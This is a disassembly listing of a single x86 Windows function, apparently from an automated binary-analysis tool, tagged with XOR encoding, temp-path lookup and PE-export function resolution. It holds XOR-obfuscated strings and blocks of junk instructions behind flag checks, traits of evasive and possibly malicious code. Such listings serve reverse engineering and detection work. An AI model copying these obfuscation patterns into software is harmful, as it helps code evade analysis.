Function at 0x1005a3d0
Capabilities:
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1ac
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov dword [esp + 0x20], ebp
add dword [ebp + 0x18c], 0xffffff79
lea eax, [ebp + 0x19c]
add dword [ebp + 0x190], 0xffffffb2
add dword [ebp + 0x194], 0xfffffff3
push eax
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_Beep]
mov word [ecx], es
add byte [eax], al
jns 0x1005a3e7
invalid
invalid
xor eax, sym.imp.KERNEL32.dll_Beep
xor edi, edi
cmp byte [0x100c5b68], 0
je 0x1005a77f
cmpsd dword [esi], dword es:[edi]
shr ecx, cl
and eax, 0xd4091be2
int1
xor dword [edi], esi
cmp dh, ah
movsb byte es:[edi], byte [esi]
or cl, ch
push ebp
test eax, 0xbd213a77
pop ss
pushfd
popal
imul esi, dword [esp + edx*8], 0xdba196ab
cld
das
inc edx
xchg esp, eax
std
sub byte [ebp - 0x19], dh
push edi
cmp dl, byte [ebx - 0x20]
and bl, byte [edi]
inc eax
pop es
out dx, al
sub eax, 0x7a0cd4b5
scasd eax, dword es:[edi]
test ax, 0x525e
sbb ecx, dword [ecx]
salc
add al, 0xe1
js 0x1005a3e2
loope 0x1005a4d8
sub dword [ebx + edx*2 - 0x1f77f20f], 0xf37ba6a3
lodsb al, byte [esi]
push ebx
int1
or eax, 0xa6a3e088
loopne 0x1005a40b
cmpsb byte [esi], byte es:[edi]
jnp 0x1005a45e
mov eax, dword [0xdae4d6d8]
mov ebp, 0x6e8062e6
cmp al, 0x1f
popfd
in al, 0xbd
movsd dword es:[edi], dword [esi]
jge 0x1005a4c2
call 0x62459c69
xor dl, byte [edi - 0x10e7d56]
sal byte [edx], cl
xchg esp, eax
int 0x58
aad 0x24
test al, 0x9e
push eax
add al, 0x6a
xchg esi, eax
pop edx
jno 0x1005a466
and byte [eax], 0x54
cmp al, 0x65
cmp eax, dword [edi - 0x3c]
pop eax
inc esp
wait
dec eax
sbb al, 0x76
add ebx, dword [edi + 0x21]
invalid
push dword [eax + edx + 0x27d67596]
ret 0xb2fb
out 0xb, eax
aaa
sub eax, 0x4a4cf62e
invalid
cmpsd dword [esi], dword es:[edi]
pop ebp
jg 0x1005a50b
mov bl, 0xb
cmc
adc eax, 0xd249b690
push ss
fdiv st(7)
nop
cmp eax, 0x85023392
or eax, 0xdc45f452
add ah, ah
rol dh, cl
dec esp
arpl word [ebx - 0x59], ax
mov ch, 0x29
outsb dx, byte [esi]
jnp 0x1005a4b8
sti
outsd dx, dword [esi]
add eax, dword [edi - 0x42f956fb]
pop ecx
push edi
int1
jge 0x1005a54a
push ss
xlatb
dec eax
jno 0x1005a540
adc ah, byte [ecx + 0x1f]
mov esi, 0xaa190daa
int 0xb0
fcmovne st(0), st(0)
out 0x53, al
stc
lcall 0x96d8, 0xb1e5d65e
movsd dword es:[edi], dword [esi]
inc esp
sbb dword [esi - 0x40], ebp
rcr byte [esi + ecx*4 + 0x4d], 0x4a
leave
pop ebp
nop
mov bl, 0x95
dec eax
jg 0x1005a58a
jo 0x1005a53e
cmp esp, dword [ebx - 0x4b1521a5]
mov edx, dword [edi + eax + 0x3d]
aaa
pop ss
pop ebx
fsubp st(2)
mov ah, 0x8b
push esp
pop es
cmp eax, 0x71176537
adc al, 0xb1
invalid
pop ss
jno 0x1005a561
mov cl, 0xc4
invalid
int3
pop ebp
insb byte es:[edi], dx
xchg esi, eax
mov eax, dword [0xba06047d]
push esp
fdivp st(0)
jge 0x1005a594
push es
mov edx, 0x3df8de54
imul ecx, dword [edx + 0x536ccb1d], 0xaa52b6de
mov ch, ah
clc
cmp eax, 0xcb1d8a69
insb byte es:[edi], dx
push ebx
fidiv word [esi - 0x1a7755ae]
xor eax, 0x51db12e6
sbb al, 0x62
lodsb al, byte [esi]
mov edi, 0x4587629c
std
test byte [ebp - 0x19], dh
sbb dl, al
xor esp, esi
mov dword [0x55eb693b], eax
jl 0x1005a5d5
lodsd eax, dword [esi]
add al, 0x69
xchg ecx, eax
push 0xffffffffffffffe2
pop ebp
cmp ah, dh
mov bl, 0xa
pushal
rol dword [ecx + 0x1c6cc428], cl
and dword [eax + 0x73], 0xffffff9c
fdivr qword [ebp + 0x22cf3f5e]
mov ebp, 0x22cf3f5e
and al, byte [eax]
sub al, 0x19
mov edx, 0xa8849210
mov edi, 0x4321f858
test dword [eax], 0x7085e1ff
sbb ebx, ebp
jg 0x1005a58e
cmp byte [ebx], dl
les edx, [ebx + 0x78]
outsb dx, byte [esi]
and al, 0xe6
in eax, 0x8b
les ecx, [eax - 0x50]
mov cl, 0xcd
sbb ebp, dword [edx - 0x52de1926]
pop edi
pop ss
and eax, dword [edx + 0x56117b63]
retf
xor byte [esp + edi + 0x40], 0x74
inc edi
cmp edi, 0xf
jl 0x1005a412
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x10
push 0
mov byte [esp + 0x56], 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push 0x1f
push 0
mov dword [esp + 0x38], eax
call ebx
push eax
call edi
push 0x29
push 0
mov dword [esp + 0x3c], eax
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x40], eax
mov dword [esp + 0x2c], 1
call ebx
push eax
call edi
mov dword [esp + 0x28], eax
mov byte [eax], 0
push dword [esp + 0x24]
push 0
call ebx
push eax
call edi
mov dword [esp + 0x2c], eax
lea edx, [esp + 0x40]
lea ecx, [esp + 0x24]
mov byte [eax], 0
call fcn.1006fe00
mov edx, 0x100bf4dc
mov ecx, eax
call fcn.1006fe00
cmp byte [0x100c5b68], 0
mov dword [ebp + 0x178], 0x100aecf1
je 0x1005aa60
invalid
mov eax, dword [ebp + 0x198]
xor edi, edi
mov dword [0x100c5b64], eax
nop dword [eax]
call fcn.10058ad0
mov dword [esp + edi*4 + 0x150], eax
inc edi
cmp edi, 0xd
jl 0x1005aa70
mov edi, dword [esp + 0x150]
xor ecx, ecx
mov dword [esp + 0x14], ecx
test edi, edi
jle 0x1005ae2c
mov ebp, dword [esp + 0x168]
mov ebx, dword [esp + 0x164]
mov eax, dword [esp + 0x154]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x3c], ebx
xor edx, edx
mov dword [esp + 0x10], edx
test eax, eax
jle 0x1005ada5
mov ebp, dword [esp + 0x158]
mov ebx, dword [esp + 0x15c]
sub ebp, ebx
cmp byte [0x100c5b68], 0
je 0x1005ad23
mov byte [0xc56d68d1], al
cmpsb byte [esi], byte es:[edi]
hlt
lea ecx, [ebx + edx]
mov edi, 0xd
lea eax, [ecx + ebp]
cdq
idiv edi
mov eax, ecx
mov ebx, edx
cdq
idiv edi
mov eax, 0x92492493
mov edi, edx
imul dword [esp + 0x10]
add edx, dword [esp + 0x10]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
lea ecx, [eax*8]
sub ecx, eax
mov eax, edx
add ecx, ecx
sub eax, ecx
mov byte [esp + eax + 0x40], dl
inc edx
mov eax, dword [esp + edi*4 + 0x150]
shl eax, 7
mov dword [esp + ebx*4 + 0x184], eax
mov ebx, dword [esp + 0x15c]
mov dword [esp + 0x10], edx
cmp edx, dword [esp + 0x154]
jl 0x1005aad2
mov ebp, dword [esp + 0x18]
mov ebx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x150]
test ecx, ecx
je 0x1005ae0e
mov eax, ecx
cdq
idiv dword [esp + 0x160]
test edx, edx
jne 0x1005ae0e
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x198]
lea eax, [ebx + 1]
cdq
mov ebx, 0xd
idiv ebx
mov al, byte [esp + 0x14]
add al, al
mov ebx, edx
add byte [esp + 0x40], al
lea eax, [ebp + 1]
mov ebp, 0xd
cdq
idiv ebp
imul ebx, ecx
mov ebp, edx
imul ebp, ecx
imul ebx, ecx
imul ebp, ecx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x164], ebx
xor ebp, 0x4d
mov dword [esp + 0x18], ebp
mov dword [esp + 0x168], ebp
mov eax, dword [esp + 0x154]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, edi
jl 0x1005aab4
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebp, dword [esp + 0x20]
cmp byte [0x100c5b68], 0
je 0x1005b019
leave
sbb dword [0x274fc325], 0xfb9ad008
stosd dword es:[edi], eax
retf
push 0x105
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push eax
push 0x105
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 0x194]
push 0x10
push 0
call ebx
push eax
call edi
push 0x1f
push 0
mov dword [esp + 0xac], eax
call ebx
push eax
call edi
push 0x29
push 0
mov dword [esp + 0xb0], eax
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0xb4], eax
mov dword [esp + 0xa0], 1
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0xa4], eax
mov byte [eax], 0
call ebx
push eax
call edi
push 0xa
push esi
lea ecx, [esp + 0xa0]
mov dword [esp + 0xa8], eax
mov byte [eax], 0
call fcn.1006f580
mov esi, dword [ebp + 0x190]
push 0x10
push 0
call ebx
push eax
call edi
push 0x1f
push 0
mov dword [esp + 0x94], eax
call ebx
push eax
call edi
push 0x29
push 0
mov dword [esp + 0x98], eax
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x9c], eax
mov dword [esp + 0x88], 1
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x8c], eax
mov byte [eax], 0
call ebx
push eax
call edi
mov dword [esp + 0x88], eax
push 0xa
push esi
lea ecx, [esp + 0x88]
mov byte [eax], 0
call fcn.1006f580
mov esi, dword [ebp + 0x18c]
push 0x10
push 0
call ebx
push eax
call edi
push 0x1f
push 0
mov dword [esp + 0x7c], eax
call ebx
push eax
call edi
push 0x29
push 0
mov dword [esp + 0x80], eax
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x84], eax
mov dword [esp + 0x70], 1
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x74], eax
mov byte [eax], 0
call ebx
push eax
call edi
push 0xa
push esi
lea ecx, [esp + 0x70]
mov dword [esp + 0x78], eax
mov byte [eax], 0
call fcn.1006f580
push 0x10
push 0
call ebx
push eax
call edi
push 0x1f
push 0
mov dword [esp + 0x64], eax
call ebx
push eax
call edi
push 0x29
push 0
mov dword [esp + 0x68], eax
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x6c], eax
mov dword [esp + 0x58], 1
call ebx
push eax
call edi
push 1
push 0
mov dword [esp + 0x5c], eax
mov byte [eax], 0
call ebx
push eax
call edi
push 0xa
push dword [esp + 0x188]
lea ecx, [esp + 0x58]
mov dword [esp + 0x60], eax
mov byte [eax], 0
call fcn.1006f580
lea edx, [esp + 0x50]
lea ecx, [esp + 0x24]
call fcn.1006f8a0
mov edx, 0x100bf4dc
mov ecx, eax
call fcn.1006fe00
lea edx, [esp + 0x68]
mov ecx, eax
call fcn.1006f8a0
mov edx, 0x100bf088
mov ecx, eax
call fcn.1006fe00
lea edx, [esp + 0x80]
mov ecx, eax
call fcn.1006f8a0
mov edx, 0x100bf088
mov ecx, eax
call fcn.1006fe00
lea edx, [esp + 0x98]
mov ecx, eax
call fcn.1006f8a0
push dword [esp + 0x5c]
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call edi
push dword [esp + 0x60]
push 0
call ebx
push eax
call edi
push dword [esp + 0x64]
push 0
call ebx
push eax
call edi
push dword [esp + 0x54]
push 0
call ebx
push eax
call edi
push dword [esp + 0x74]
push 0
call ebx
push eax
call edi
push dword [esp + 0x78]
push 0
call ebx
push eax
call edi
push dword [esp + 0x7c]
push 0
call ebx
push eax
call edi
push dword [esp + 0x6c]
push 0
call ebx
push eax
call edi
push dword [esp + 0x8c]
push 0
call ebx
push eax
call edi
push dword [esp + 0x90]
push 0
call ebx
push eax
call edi
push dword [esp + 0x94]
push 0
call ebx
push eax
call edi
push dword [esp + 0x84]
push 0
call ebx
push eax
call edi
push dword [esp + 0xa4]
push 0
call ebx
push eax
call edi
push dword [esp + 0xa8]
push 0
call ebx
push eax
call edi
push dword [esp + 0xac]
push 0
call ebx
push eax
call edi
push dword [esp + 0x9c]
push 0
call ebx
push eax
call edi
push 0x10
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x1f
push 0
mov dword [esp + 0xdc], eax
call ebx
push eax
call esi
push 0x29
push 0
mov dword [esp + 0xe0], eax
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0xe4], eax
mov dword [esp + 0xd0], 1
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0xd4], eax
mov byte [eax], 0
call ebx
push eax
call esi
push 0xa
push dword [esp + 0x190]
lea ecx, [esp + 0xd0]
mov dword [esp + 0xd8], eax
mov byte [eax], 0
call fcn.1006f580
push 0x10
push 0
call ebx
push eax
call esi
push 0x1f
push 0
mov dword [esp + 0xc4], eax
call ebx
push eax
call esi
push 0x29
push 0
mov dword [esp + 0xc8], eax
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0xcc], eax
mov dword [esp + 0xb8], 1
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0xbc], eax
mov byte [eax], 0
call ebx
push eax
call esi
push 0xa
push dword [esp + 0x18c]
lea ecx, [esp + 0xb8]
mov dword [esp + 0xc0], eax
mov byte [eax], 0
call fcn.1006f580
mov dword [esp + 0x128], 0x15da0dea
mov dword [esp + 0x12c], 0x3ad807e2
mov dword [esp + 0x130], 0x24fa17da
mov dword [esp + 0x134], 0x1e70ed7
mov dword [esp + 0x138], 0x5bc531d3
mov dword [esp + 0x13c], 0x21cb03df
mov dword [esp + 0x140], 0x3ccb29a6
mov dword [esp + 0x144], 0x1ec136dc
mov dword [esp + 0x148], 0x6ffb36ca
mov eax, dword [esp + 0x128]
mov byte [esp + 0x14c], 0
cmp byte [esp + 0x14c], 0
jne 0x1005b4a9
xor ecx, ecx
nop word [eax + eax]
mov eax, dword [esp + ecx*4 + 0x128]
xor eax, 0x6f8f4692
mov dword [esp + ecx*4 + 0x128], eax
inc ecx
cmp ecx, 9
jb 0x1005b490
mov dword [esp + 0x18], 0x935303a
mov eax, dword [esp + 0x18]
mov byte [esp + 0x1c], 0
cmp byte [esp + 0x1c], 0
jne 0x1005b4ce
mov eax, dword [esp + 0x18]
xor eax, 0x9080d07
mov dword [esp + 0x18], eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x24]
call fcn.1006fe00
lea edx, [esp + 0xb0]
mov ecx, eax
call fcn.1006f8a0
lea edx, [esp + 0xc8]
mov ecx, eax
call fcn.1006f8a0
mov edx, 0x100bf4dc
mov ecx, eax
call fcn.1006fe00
lea edx, [esp + 0x128]
mov ecx, eax
call fcn.1006fe00
push dword [esp + 0xbc]
push 0
call ebx
push eax
call edi
push dword [esp + 0xc0]
push 0
call ebx
push eax
call edi
push dword [esp + 0xc4]
push 0
call ebx
push eax
call edi
push dword [esp + 0xb4]
push 0
call ebx
push eax
call edi
push dword [esp + 0xd4]
push 0
call ebx
push eax
call edi
push dword [esp + 0xd8]
push 0
call ebx
push eax
call edi
push dword [esp + 0xdc]
push 0
call ebx
push eax
call edi
push dword [esp + 0xcc]
push 0
call ebx
push eax
call edi
mov esi, dword [ebp + 0x198]
push 0x10
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1f
push 0
mov dword [esp + 0x124], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x29
push 0
mov dword [esp + 0x128], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 1
push 0
mov dword [esp + 0x12c], eax
mov dword [esp + 0x118], 1
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x114], eax
push 1
push 0
mov byte [eax], 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0xa
push esi
lea ecx, [esp + 0x118]
mov dword [esp + 0x120], eax
mov byte [eax], 0
call fcn.1006f580
push 0x10
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x1f
push 0
mov dword [esp + 0x10c], eax
call ebx
push eax
call esi
push 0x29
push 0
mov dword [esp + 0x110], eax
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0x114], eax
mov dword [esp + 0x100], 1
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0x104], eax
mov byte [eax], 0
call ebx
push eax
call esi
mov dword [esp + 0x100], eax
lea ecx, [esp + 0xf8]
push 0xa
mov byte [eax], 0
mov eax, dword [esp + 0x16c]
add eax, dword [esp + 0x168]
push eax
call fcn.1006f580
push 0x10
push 0
call ebx
push eax
call esi
push 0x1f
push 0
mov dword [esp + 0xf4], eax
call ebx
push eax
call esi
push 0x29
push 0
mov dword [esp + 0xf8], eax
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0xfc], eax
mov dword [esp + 0xe8], 1
call ebx
push eax
call esi
push 1
push 0
mov dword [esp + 0xec], eax
mov byte [eax], 0
call ebx
push eax
call esi
mov dword [esp + 0xe8], eax
lea ecx, [esp + 0xe0]
push 0xa
mov byte [eax], 0
mov eax, dword [esp + 0x194]
add eax, dword [esp + 0x198]
push eax
call fcn.1006f580
mov edx, 0x100bf4dc
lea ecx, [esp + 0x24]
call fcn.1006fe00
lea edx, [esp + 0xe0]
mov ecx, eax
call fcn.1006f8a0
lea edx, [esp + 0xf8]
mov ecx, eax
call fcn.1006f8a0
mov edx, 0x100bf4dc
mov ecx, eax
call fcn.1006fe00
lea edx, [esp + 0x110]
mov ecx, eax
call fcn.1006f8a0
push dword [esp + 0xec]
push 0
call ebx
push eax
call edi
push dword [esp + 0xf0]
push 0
call ebx
push eax
call edi
push dword [esp + 0xf4]
push 0
call ebx
push eax
call edi
push dword [esp + 0xe4]
push 0
call ebx
push eax
call edi
push dword [esp + 0x104]
push 0
call ebx
push eax
call edi
push dword [esp + 0x108]
push 0
call ebx
push eax
call edi
push dword [esp + 0x10c]
push 0
call ebx
push eax
call edi
push dword [esp + 0xfc]
push 0
call ebx
push eax
call edi
push dword [esp + 0x11c]
push 0
call ebx
push eax
call edi
push dword [esp + 0x120]
push 0
call ebx
push eax
call edi
push dword [esp + 0x124]
push 0
call ebx
push eax
call edi
push dword [esp + 0x114]
push 0
call ebx
push eax
call edi
lea ecx, [esp + 0x24]
call fcn.10071780
mov edx, dword [esp + 0x30]
lea ecx, [ebp + 0x1b8]
push 0xf
call fcn.1006eb70
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x28]
add esp, 4
call fcn.1006fe00
lea ecx, [esp + 0x24]
call fcn.10071b80
mov eax, dword [esp + 0x28]
xor esi, esi
cmp byte [eax], 0
je 0x1005b840
lea eax, [eax + 1]
inc esi
cmp byte [eax], 0
jne 0x1005b837
push dword [esp + 0x2c]
push 0
call ebx
push eax
call edi
lea eax, [esi + 1]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x2c], eax
mov cl, byte [edx]
mov byte [eax], cl
cmp byte [edx], 0
je 0x1005b86f
inc edx
inc eax
jmp 0x1005b862
mov eax, dword [esp + 0x2c]
mov byte [eax + esi], 0
push dword [esp + 0x28]
mov esi, dword [esp + 0x30]
push 0
call ebx
push eax
call edi
xor ecx, ecx
mov eax, esi
nop word [eax + eax]
inc ecx
cmp byte [eax], 0
je 0x1005b899
inc eax
jmp 0x1005b890
push ecx
push 0
mov dword [esp + 0x2c], ecx
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push eax
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x24]
push dword [esp + 0x30]
dec eax
push 0
mov dword [ebp + 0x198], eax
call ebx
push eax
call edi
push dword [esp + 0x34]
push 0
call ebx
push eax
call edi
push dword [esp + 0x38]
push 0
call ebx
push eax
call edi
push dword [esp + 0x28]
push 0
call ebx
push eax
call edi
pop edi